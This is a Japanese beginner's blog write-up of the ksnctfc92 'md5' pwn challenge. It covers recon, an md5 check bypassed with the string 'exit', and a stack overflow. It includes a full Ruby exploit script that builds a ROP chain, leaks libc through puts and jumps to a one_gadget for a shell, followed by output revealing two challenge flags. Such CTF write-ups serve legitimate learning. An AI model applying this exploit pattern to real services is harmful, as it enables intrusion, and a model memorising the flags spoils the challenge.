Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

ksnctfc92 md5 (pwn 60)

時間立っちゃって間違ってるかもしれないけど記憶の限り書いておく

下調べ

  • 64bitのdynamically linkedでnot strippedなバイナリ
  • Nx bitが立ってる
  • libc配布されている

解析

解析してくと"exit"という文字列のmd5を比較してるのが分かるので、"exit"文字列をいい感じにセットしてあげて、ペイロードを組むと楽にPCが取れる。

Exploit

PCが取れたら、puts関数とかを使ってlibcのアドレスをリークしてあげて、libcベースを算出する。あとは64bitバイナリなので、一応one_gadget調べてみたら、使えそうなガジェットがあったので、それに飛ばすとシェルが取れる。

以下にexploitを示す。

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 9999

if(ARGV[0] == 'r')
  host = 'ksnctfc92.u1tramarine.blue'
  port = 55555
end

PwnTube.open(host, port) do |t|

  # puts(puts@got)
  rop = p64(0x400f13, 0x602028, 0x400820, 0x400c87)
  t.recv_until("length:")
  t.sendline("%d"  % (120 + rop.length))
  t.recv_until("data:")
  t.sendline("\x00" * 120 + rop)
  
  t.recv_until("length:")
  t.sendline("4")
  t.recv_until("data:")
  t.send("exit") # from md5crack
  t.recv_until("\n")
  
  addr = t.recv_until("\n").chop.ljust(8, "\x00")
  libc_puts = u64(addr)[0]
  libc_base = libc_puts - 0x6cee0
  puts "[+] libc base: 0x%x" % libc_base
  
  # One gadget
  libc_magic = libc_base + 0xe1f7f
  
  t.recv_until("length:")
  t.sendline("%d"  % (128))
  t.recv_until("data:")
  t.sendline("\x00" * 120 + p64(libc_magic))
  
  t.recv_until("length:")
  t.sendline("4")
  t.recv_until("data:")
  t.send("exit")

  t.shell
end

実際に実行してみると以下のような感じ。

$ ./x.rb r
[*] connected
[+] libc base: 0x7fd1d87da000
[*] waiting for shell...
[*] interactive mode
id
uid=1002(md5) gid=1002(md5) groups=1002(md5)
ls
flag.txt
flag2.txt
md5
md5.sh
cat flag*
FLAG{EukFcauPdlPYh0bK}
FLAG{OpBW3mIwSllxumQZ}